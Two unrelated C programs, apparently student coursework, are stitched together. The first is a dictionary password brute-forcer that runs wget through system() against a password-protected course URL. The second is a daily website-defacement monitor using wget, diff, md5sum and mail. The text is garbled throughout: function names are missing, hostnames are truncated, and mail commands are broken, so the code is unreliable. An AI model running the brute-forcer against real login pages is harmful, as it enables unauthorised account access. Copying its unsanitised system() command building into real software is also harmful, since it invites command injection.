

#include <stdio.h>
#include <string.h>
#include <sys/time.h>
#define OneBillion 1e9


int () {
 FILE *fp;
 int ret;
 char *strin = "wget http://sec-crack.cs.rmit.edu./SEC/2/ --http-user= --http-passwd=";
 char str[100];
 char passwd[150];
 int startTime, stopTime, final;
 strcpy(passwd,strin);
 fp = fopen("words","r");
 
 if (fp == NULL) {
    printf ("\n Error opening file; exiting...");
    exit(0); 
 }

 else 
 startTime = time();
while (fgets(str,20,fp) != NULL) {
         str[strlen(str)-1] = '\0';
         if (strlen(str) < 4) {
            strcat(passwd,str);
            printf("string is %s\n",passwd);
            ret = system(passwd);
            strcpy(passwd,strin);
            if (ret == 0) break;
         }
 }
 stopTime = time();
   final = stopTime-startTime;
       printf("\n============================================================");
       printf("\n HostName : http://sec-crack.cs.rmit.edu./SEC/2/index.html");
       printf("\n UserName : ");
       printf("\n Password : %s\n",str);
       printf("The program took %lld nanoseconds (%lf) seconds \n", final,  (double)final/OneBillion );   
       printf("\n============================================================");
}

#include<stdlib.h>
#include<stdio.h>
#include<ctype.h>



int 
(int argc, char *argv[])
{
	FILE           *fp;

	int             response, difference, diffimage;

	system("mkdir backup");
	system("mkdir backup/images");
	while (1) {
		response = system("wget -p http://www.cs.rmit.edu./students");


		if ((fp = fopen("./backup/index.html", "r")) == NULL) {
			system("cp www.cs.rmit.edu./students/index.html ./backup");
			system("cp www.cs.rmit.edu./images/*.* ./backup/images");
			system("md5sum ./backup/images/*.* > ./backup/md5sumprior.txt");
			
		} else {
			difference = 0; diffimage = 0;
			difference = system("diff ./backup/index.html www.cs.rmit.edu./students/index.html > data");
			
			system("md5sum www.cs.rmit.edu./images/*.* > ./backup/md5sumlater.txt");
			diffimage = system("diff ./backup/md5sumprior.txt ./backup/md5sumlater.txt > md5diff");

			printf("difference=%d, diffimage=%d",difference,diffimage);
						
			if (difference == 0 && diffimage == 0) {
				printf("\nNo modification\n");
			} else {
				printf("\nModification\n");
				system(" data | mail  @cs.rmit.edu.");
				system(" md5diff | mail  @cs.rmit.edu.");
				
			}
			system("cp www.cs.rmit.edu./students/index.html ./backup");
			system("cp www.cs.rmit.edu./images/*.* ./backup/images");
			system("cp ./backup/md5sumlater.txt ./backup/md5sumprior.txt");
			
		}
		
		sleep(86400);
	}
}
